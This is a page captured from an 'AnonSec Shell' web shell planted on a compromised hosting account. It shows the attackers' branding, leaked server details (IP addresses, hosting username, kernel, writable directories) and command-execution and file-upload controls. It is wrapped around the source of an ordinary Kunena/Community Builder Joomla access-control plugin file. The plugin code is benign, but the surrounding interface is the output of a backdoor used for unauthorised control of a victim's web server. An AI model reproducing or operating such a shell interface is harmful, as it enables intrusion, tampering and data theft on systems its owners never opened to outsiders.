AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/www/cj79373/plugins/kunena/comprofiler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/www/cj79373/plugins/kunena/comprofiler//access.php
<?php
/**
 * Kunena Plugin
 *
 * @package         Kunena.Plugins
 * @subpackage      Comprofiler
 *
 * @copyright   (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license         https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link            https://www.kunena.org
 **/
defined('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

require_once dirname(__FILE__) . '/integration.php';

/**
 * Kunena Access Control for CommunityBuilder
 * @since Kunena
 */
class KunenaAccessComprofiler
{
	/**
	 * @var boolean
	 * @since Kunena
	 */
	protected $categories = false;

	/**
	 * @var boolean
	 * @since Kunena
	 */
	protected $groups = false;

	/**
	 * @var array
	 * @since Kunena
	 */
	protected $tree = array();

	/**
	 * @var null
	 * @since Kunena
	 */
	protected $params = null;

	/**
	 * KunenaAccessComprofiler constructor.
	 *
	 * @param $params
	 *
	 * @since Kunena
	 */
	public function __construct($params)
	{
		$this->params = $params;
	}

	/**
	 * Get list of supported access types.
	 *
	 * List all access types you want to handle. All names must be less than 20 characters.
	 *
	 * @return array    Supported access types.
	 * @throws Exception
	 * @since Kunena
	 */
	public function getAccessTypes()
	{
		static $accesstypes = array('communitybuilder');

		$params = array('accesstypes' => &$accesstypes);

		KunenaIntegrationComprofiler::trigger('getAccessTypes', $params);

		return $accesstypes;
	}

	/**
	 * Get group name in selected access type.
	 *
	 * @param   string $accesstype Access type.
	 * @param   int    $id         Group id.
	 *
	 * @return boolean|integer|null
	 * @throws Exception
	 * @since Kunena
	 */
	public function getGroupName($accesstype, $id = null)
	{
		if ($accesstype == 'communitybuilder')
		{
			$this->loadGroups();

			if ($id !== null)
			{
				return isset($this->groups[$id]) ? $this->groups[$id]->name : $id;
			}

			return $this->groups;
		}

		$name   = null;
		$params = array('accesstype' => $accesstype, 'id' => $id, 'name' => &$name);

		KunenaIntegrationComprofiler::trigger('getGroupName', $params);

		return $name;
	}

	/**
	 * @since Kunena
	 */
	protected function loadGroups()
	{
		if ($this->groups === false)
		{
			$this->groups = array();
			$params       = array('groups' => &$this->groups, 'categories' => $this->categories);
			KunenaIntegrationComprofiler::trigger('loadGroups', $params);

			if ($this->categories !== false)
			{
				$this->tree->add($this->groups);
			}
		}
	}

	/**
	 * Get HTML list of the available groups
	 *
	 * @param   string $accesstype Access type.
	 * @param   int    $category   Group id.
	 *
	 * @return array
	 * @throws Exception
	 * @since Kunena
	 */
	public function getAccessOptions($accesstype, $category)
	{
		$html = array();

		if (!$accesstype || $accesstype == 'communitybuilder')
		{
			$this->loadCategories();
			$this->loadGroups();
			$options  = array();
			$selected = 'communitybuilder' == $category->accesstype && isset($this->groups[$category->access]) ? $category->access : null;

			foreach ($this->tree as $item)
			{
				if (!$selected && is_numeric($item->id))
				{
					$selected = $item->id;
				}

				$options[] = HTMLHelper::_('select.option', $item->id, str_repeat('- ', $item->level) . $item->name, 'value', 'text', !is_numeric($item->id));
			}

			if (!$options)
			{
				$selected  = 0;
				$options[] = HTMLHelper::_('select.option', 0, Text::_('PLG_KUNENA_COMPROFILER_NO_GROUPS_FOUND'), 'value', 'text');
			}

			$html ['communitybuilder']['access'] = array(
				'title' => Text::_('PLG_KUNENA_COMPROFILER_ACCESS_GROUP_TITLE'),
				'desc'  => Text::_('PLG_KUNENA_COMPROFILER_ACCESS_GROUP_DESC'),
				'input' => HTMLHelper::_('select.genericlist', $options, 'access-communitybuilder', 'class="inputbox" size="10"', 'value', 'text', $selected),
			);
		}

		$params = array('accesstype' => $accesstype, 'category' => $category, 'html' => &$html);

		KunenaIntegrationComprofiler::trigger('getAccessOptions', $params);

		return $html;
	}

	/**
	 * @since Kunena
	 */
	protected function loadCategories()
	{
		if ($this->categories === false)
		{
			$this->categories = array();
			$params           = array('categories' => &$this->categories, 'groups' => $this->groups);
			KunenaIntegrationComprofiler::trigger('loadCategories', $params);
			$this->tree = new KunenaTree($this->categories);

			if ($this->groups !== false)
			{
				$this->tree->add($this->groups);
			}
		}
	}

	/**
	 * Load moderators and administrators for listed categories.
	 *
	 * This function is used to add category administrators and moderators to listed categories. In addition
	 * integration can also add global administrators / moderators (catid=0).
	 *
	 * Results may be cached.
	 *
	 * @param   array $categories List of categories, null = all.
	 *
	 * @return array(array => u, 'category_id'=>c, 'role'=>r))
	 * @throws Exception
	 * @since Kunena
	 */
	public function loadCategoryRoles(array $categories = null)
	{
		$roles  = array();
		$params = array('categories' => $categories, 'roles' => &$roles);
		KunenaIntegrationComprofiler::trigger('loadCategoryRoles', $params);

		return $roles;
	}

	/**
	 * Authorise user actions in a category.
	 *
	 * Function returns a list of authorised actions. Missing actions are threaded as inherit.
	 *
	 * @param   KunenaForumCategory $category category
	 * @param   int                 $userid   userid
	 *
	 * @return array
	 * @throws Exception
	 * @since Kunena
	 */
	public function getAuthoriseActions(KunenaForumCategory $category, $userid)
	{
		$actions = array();
		$params  = array('category' => $category, 'userid' => $userid, 'actions' => &$actions);

		KunenaIntegrationComprofiler::trigger('getAuthoriseActions', $params);

		return $actions;
	}

	/**
	 * Authorise list of categories.
	 *
	 * Function accepts array of id indexed KunenaForumCategory objects and removes unauthorised
	 * categories from the list.
	 *
	 * Results for the current user are saved into session.
	 *
	 * @param   int   $userid     User who needs the authorisation (null=current user, 0=visitor).
	 * @param   array $categories List of categories in access type.
	 *
	 * @return array, where category ids are in the keys.
	 * @throws Exception
	 * @since Kunena
	 */
	public function authoriseCategories($userid, array &$categories)
	{
		$allowed = '0';
		$params  = array($userid, &$allowed);
		KunenaIntegrationComprofiler::trigger('getAllowedForumsRead', $params);

		if (is_string($allowed))
		{
			$allowed = explode(',', $allowed);
		}

		$allowed = (array) array_flip($allowed);

		foreach ($allowed as $id => &$value)
		{
			$value = $id;
		}

		return $allowed;
	}

	/**
	 * Authorise list of userids to topic or category.
	 *
	 * @param   mixed $topic   Category or topic.
	 * @param   array $userids list(allow, deny).
	 *
	 * @return array
	 * @throws Exception
	 * @since Kunena
	 */
	public function authoriseUsers(KunenaDatabaseObject $topic, array &$userids)
	{
		$allow = $deny = array();

		if (empty($userids))
		{
			return array($allow, $deny);
		}

		$category = $topic->getCategory();
		$params   = array('category' => $category, 'topic' => $topic, 'userids' => $userids, 'allow' => &$allow, 'deny' => &$deny);

		KunenaIntegrationComprofiler::trigger('authoriseUsers', $params);

		return array($allow, $deny);
	}
}

Anon7 - 2022
AnonSec Team